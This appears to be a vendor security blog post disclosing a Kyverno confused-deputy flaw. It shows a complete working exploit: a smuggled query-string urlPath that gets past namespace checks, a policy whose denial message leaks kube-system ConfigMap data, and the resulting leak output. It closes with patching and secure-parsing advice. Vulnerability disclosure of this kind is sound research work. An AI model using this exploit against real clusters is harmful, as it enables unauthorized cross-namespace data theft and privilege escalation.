Arad Cohen
Arad Cohen is a Senior Security Researcher at Akamai. Arad’s expertise spans across the entire technology stack from IoT and low-level exploitation to web application security and applied cryptography.
Explore plans and pricing that fit your needs — from small projects to global-scale deployments.
Sign up today and unlock cloud computing, edge, and AI tools built for your business.
Protect the applications that drive your business — every day, every time.
Trust the agility and scale of Akamai to help you flawlessly deliver extraordinary digital experiences.
Deploy faster with global cloud infrastructure — no surprise bills, no lock-in, and transparent pricing across every data center.
Sign up today and unlock cloud computing, edge and AI tools built for your business.
Partner with Akamai to innovate, scale, and grow your advantage
Sign up today and unlock AI compute, storage, and managed K8s, built for your business.
Connect with our Sales team to discuss your business needs and find the right solutions.
We recently discovered a critical vulnerability in Kyverno, assigned GHSA-pcx2-xcq4-65vf with CVSS 10.0.
The vulnerability allows a restricted tenant scoped to a single namespace to craft malicious API requests that access cluster-scoped resources or other namespaces, bypassing policy validation.
Successful exploitation can lead to unauthorized data access and privilege escalation across cluster boundaries.
The vulnerability affects Kyverno versions that use the vulnerable apiCall path validation logic before the patch.
According to Akamai’s telemetry, 4% of enterprise networks were running vulnerable instances of Kyverno.
The flaw was patched in version 1.19.2.
Kyverno (Greek for “govern”) is a popular, cloud native policy engine maintained by the Cloud Native Computing Foundation (CNCF) built specifically for Kubernetes that allows platform teams to manage cluster security, automate compliance, and enforce best practices as code. Kyverno has seen massive adoption over the last few years and is highly popular within the Kubernetes ecosystem.
When building security boundaries, the subtle difference between parsing a file path and parsing a URL can completely break a sandbox. This is exactly what happened in Kyverno. Because Kyverno operates as a cluster-wide admission controller, it requires highly privileged background permissions to function.
This architecture makes it a prime target for a confused deputy attack. A confused deputy occurs when a high-privileged entity (the deputy, Kyverno) is manipulated by a low-privileged user (the attacker, restricted to a single namespace) into misusing its authority to perform an action the user cannot do themselves.
In this blog post, we discuss the core flaw and demonstrate the attack from scratch.
To better understand the vulnerability, let's set up a test environment.
Let’s use miniKube (an open source tool that sets up a local Kubernetes cluster) to demonstrate the vulnerability, and download Kyverno using its helm chart.
Now, let’s set the flag by placing a secret inside the “kube-system” namespace. (This is the most critical and sensitive namespace in a Kubernetes cluster; it holds the core components that keep the cluster running.) The following command creates a ConfigMap named target-cm with a fake secret: key=confidential-data
kubectl create configmap target-cm -n kube-system --from-literal=key=confidential-data
The attacker's goal is to steal that data.
Next, let's create our attacker entity: a low-privileged user strictly bound to the default namespace — the general landing zone for user-created objects when no namespace is specified. We will give this user just enough permission to read and write ConfigMaps and Kyverno policies inside this isolated area, and nothing else:
# Create a restricted service account
kubectl create sa policy-admin -n default
# Create a role for managing policies and configmaps in default namespace only
kubectl create role policy-admin-role -n default \
--verb=create,get,list,update,delete \
--resource=policies.kyverno.io,configmaps
# Bind the role to the service account
kubectl create rolebinding policy-admin-binding -n default \
--role=policy-admin-role \
--serviceaccount=default:policy-admin
Let’s test it by using the kubectl auth can-i command to ask the Kubernetes API server a direct question:
“If I am the policy-admin user in the default namespace, am I allowed to read ConfigMaps in the kube-system namespace?”
kubectl auth can-i get configmaps -n kube-system --as=system:serviceaccount:default:policy-admin
# Output: no
The Kubernetes API server responds with a definitive no. Our goal is to bypass this, and to read ConfigMaps from the kube-system namespace, which requires high privileges.
The attacker can create a Kyverno policy inside his namespace (the default namespace). Kyverno policies serve as a cluster’s automated governance engine, intercepting Kubernetes API requests to enforce security, compliance, and operational best practices. Platform teams use them to ensure that every workload deployed to the cluster adheres to organizational standards without requiring manual review.
For example, a platform team wants to restrict which container images developers can deploy in the default namespace. Instead of hard coding the allowed images into the Kyverno policy itself, the team stores the list of allowed images in a standard Kubernetes ConfigMap named allowed-images-list.
When a developer tries to deploy a Pod, the Kyverno policy uses apiCall to read that ConfigMap and checks if the Pod's image is on the approved list.
This can be done by applying the following yaml:
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: enforce-allowed-images
# This policy is strictly bound to the default namespace
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: check-image-against-configmap
match:
any:
- resources:
kinds:
- Pod
context:
- name: allowedImagesList
apiCall:
urlPath: "/api/v1/namespaces/default/configmaps/allowed-images-list"
method: GET
# JMESPath extracts just the 'images' string from the ConfigMap's data
jmesPath: "data.images"
validate:
message: "Deployment blocked: Your container image is not in the allowed list."
deny:
conditions:
all:
# If the Pod's image is NOT found in the string fetched from the ConfigMap, deny it.
- key: "{{ request.object.spec.containers[0].image }}"
operator: NotIn
value: "{{ allowedImagesList }}"
Did you notice the “urlPath” field? This is part of Kyverno’s apiCall feature. Kyverno policies often need to make dynamic decisions based on data that isn't inside the resource currently being evaluated.
To enable this, Kyverno allows policy writers to define a context block with an apiCall. The urlPath allows the user to tell Kyverno exactly which Kubernetes API endpoint it should query to fetch that external data. This is a powerful, intentional feature of Kyverno, which is why users are allowed to define it.
A user can trick Kyverno to use the Kubernetes API for his needs. Kyverno (before version 1.19.2) maintainers have thought about it (in fact, the patch for a previous CVE, CVE-2026-22039, handled it).
The namespace validation in Fetch() (lines 68-106 of pkg/engine/apicall/apiCall.go) processes the URLPath through url.PathUnescape and path.Clean before matching it against namespacePathRegex:
var namespacePathRegex = regexp.MustCompile(`^/api(s)?/.*?/namespaces/([^/]+)/?.*$`)
Then, the extracted namespace is checked against the user’s privileges.
For example, the urlPath “/api/v1/namespaces/kube-system/secrets” would be blocked, because the user has no permission over the extracted namespace (kube-system).
But we have managed to find a parser differential between the validation and the HTTP layer.
path.Clean() is designed for file paths, not URLs. In a file system, a question mark (?) is just a regular character in a file name with no special meaning. But in an HTTP request, ? is a control character that indicates the start of a query string.
Because path.Clean() didn't strip the query string out, the validation regex was scanning the entire URL string, including the query parameters. This parsing differential allowed an attacker to easily smuggle the required namespace string into a place where the downstream HTTP client would ignore it.
An example for the exploit payload: /api/v1/configmaps?x=/namespaces/default/
Once the malicious payload passes validation, Kyverno hands the string off to client-go (the Kubernetes HTTP client) to execute the request. Because client-go properly parses it as a URL, it splits the string:
Path: /api/v1/configmaps
Query string: x=/namespaces/default/
The client successfully executes a GET request against the cluster-scoped /api/v1/configmaps endpoint. The Kubernetes API server simply ignores the meaningless x query parameter, and the attacker successfully retrieves cluster-wide node data.
So now we know that the attacker can trick Kyverno to use his high privileges to list all the ConfigMaps using this flaw from the Kubernetes API. But how can the attacker get the response from the Kubernetes API? If the policy simply succeeded, Kyverno would silently approve the dummy ConfigMap, and the attacker would never see the data stored in the variable.
The trick is to use Kyverno’s error handling.
When Kyverno denies a request, it has to tell the Kubernetes API server why it was denied, so the API server can pass that reason back to the user.
In that case, let’s create a policy that would always fail, and with the error message we can extract the secrets.
This is the Kyverno policy:
cat <<'EOF' | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: kyverno.io/v1
kind: Policy
metadata:
name: cross-ns-leak
namespace: default
spec:
validationFailureAction: Enforce
rules:
- name: leak-config
match:
resources:
kinds:
- ConfigMap
context:
- name: leakedData
apiCall:
urlPath: "/api/v1/configmaps?x=/namespaces/default/"
method: GET
jmesPath: "items[?metadata.namespace == 'kube-system' && metadata.name == 'target-cm'].data | [0]"
validate:
message: "LEAKED DATA: {{ leakedData }}"
deny: {}
EOF
Note that we use JMESPath to filter out the kube-system target, instead of getting a massive JSON with all the ConfigMaps.
Now, let’s trigger it by trying to create a ConfigMap:
cat <<EOF | kubectl apply --as=system:serviceaccount:default:policy-admin -f -
apiVersion: v1
kind: ConfigMap
metadata:
name: trigger-leak
namespace: default
annotations:
target_ns: "kube-system"
target_name: "target-cm"
data: {}
EOF
Error from server: error when creating "STDIN": admission webhook "validate.kyverno.svc-fail" denied the request:
resource ConfigMap/default/trigger-leak was blocked due to the following policies
cross-ns-leak:
leak-config: 'LEAKED DATA: {"key":"confidential-data"}'
Cool! The ConfigMap creation has failed, but thanks to the error message we have leaked the target secret.
Organizations running Kyverno should immediately upgrade to version 1.19.2 or later to remediate GHSA-pcx2-xcq4-65vf.
Beyond patching this specific flaw, the vulnerability underscores a critical lesson in secure software design: Regular expressions are reliable for string matching, but they are easily bypassed when the structural format of the input isn’t strictly enforced first.
Whenever security boundaries rely on inspecting URLs, developers should avoid file-system utilities like path.Clean() and instead use a dedicated URL parser — such as Go’s net/url.Parse — to strip out query strings (?) and fragments (#) before running path-isolation checks strictly against url.Path.
Finally, defenders should remember that verbose error handling can inadvertently become an exfiltration channel; returning raw, interpolated API responses inside admission denial messages gives attackers the exact feedback loop they need to turn a blind request into a full data leak.
Arad Cohen is a Senior Security Researcher at Akamai. Arad’s expertise spans across the entire technology stack from IoT and low-level exploitation to web application security and applied cryptography.